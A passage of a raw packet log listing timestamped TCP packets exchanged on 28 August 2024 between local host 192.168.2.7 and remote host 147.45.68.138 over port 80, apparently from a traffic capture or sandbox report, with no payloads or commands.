Aug 28, 2024 22:55:51.931849003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931860924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931870937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.931914091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.933861017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.933882952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.933897972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.933906078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.933906078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.933924913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.933940887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.935801029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.935812950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.935822964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.935858965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.935873985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.937591076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.937602997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.937613010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.937650919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.937663078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.940051079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.940068007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.940078974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.940108061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.940134048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.941325903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.941339970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.941349983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.941378117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.941396952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.943273067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.943305016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.943335056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.943346977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.943392992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.943442106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.945137024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.945164919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.945173025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.945194006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.945210934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.946916103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.946927071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.946937084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.946971893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.946995020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.948563099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.948575020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.948584080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.948621988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.948642015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.950226068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.950236082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.950278044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.950318098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.950366020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.951858997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.951888084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.951911926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.951940060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.951971054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.951982021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.953597069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.953608036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.953612089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.953663111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.955157995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.955168962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.955178022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.955213070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.955229998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.956855059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.956882954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.956892967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.956939936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.958309889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.958319902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.958364010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.958395958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.958441973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.959973097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.960024118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.960040092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.960051060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.960088015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.961783886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.961803913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.961812973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.961841106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.961857080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.963331938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.963342905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.963356018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.963403940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.963422060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.964827061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.964838028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.964845896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.964889050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.966450930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.966490030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.966510057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.966525078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.966569901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.966619015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.967966080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.967984915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.967993975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.968017101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.968030930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.969360113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.969371080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.969379902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.969418049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.969429016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.970901012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.970918894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.970927954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.970951080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.970963001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.972533941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.972546101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.972554922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.972584963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.972600937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.974015951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.974033117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.974041939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.974070072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.974212885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.975400925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.975414991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.975425959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.975455999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.975472927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.976938963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.976949930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.976960897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.976988077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.977000952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.978300095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.978317022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.978327036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.978349924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.978360891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.980128050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.980150938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.980161905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.980185986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.980336905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.981508017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.981520891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.981530905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.981559992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.981580019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.982419968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.982438087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.982450008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.982471943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.982480049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.983825922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.983846903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.983856916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.983876944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.983895063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.985359907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.985383034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.985392094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.985409975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.985425949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.986479998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.986490011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.986500025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.986531019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.986541986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.987948895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.987960100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.987968922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.988003969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.988015890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.989212036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.989223957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.989228964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.989265919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.989319086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.990670919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.990698099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.990712881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.990730047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.990747929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.992094040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.992119074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.992127895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.992146015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.992183924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.993283987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.993310928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.993339062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.993379116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.993405104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.993454933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.996145964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.996155977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.996166945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.996216059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.997503996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.997544050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.997582912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.997667074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.997668028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.997668028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.998209953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.998259068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.998275042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.998311043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:51.998318911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:51.998359919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.000957966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.000983000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.000993013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.001013041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.001027107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.001039982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.001118898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.001168966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.001199007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.001260996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.006520987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.006576061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.006577015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.006592989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.006617069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.006627083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.006655931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.006666899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.006675959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.006702900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.006724119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.007332087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.007344007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.007385969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014190912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014219046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014252901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014269114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014678001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014724970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014736891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014782906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014796019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014805079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014807940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014818907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.014821053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014831066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.014848948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.020806074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.020827055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.020848989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.020860910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.020874977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.020885944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.020908117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.020911932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.020920992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.020946980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.020963907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.021245003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.021296024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.024445057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.024499893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.024590015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.024601936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.024612904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.024625063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.024636984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.024643898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.024655104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.024677038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.025079012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.025129080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.025132895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.025171995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.030200005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030265093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030281067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.030306101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.030349016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030360937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030381918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030399084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030400038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.030411005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030416965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.030445099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.030479908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037087917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037147045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037147045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037166119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037188053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037200928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037220955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037235022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037245035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037262917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037276983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037287951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037290096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.037317991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.037336111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043407917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043446064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043457031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043467999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043469906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043483019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043494940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043510914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043658018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043683052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043695927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043705940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.043709040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043725014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.043751955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.047106028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.047123909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.047142982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.047161102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.047162056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.047173023 CEST	80	49731	147.45.68.138	192.168.2.7
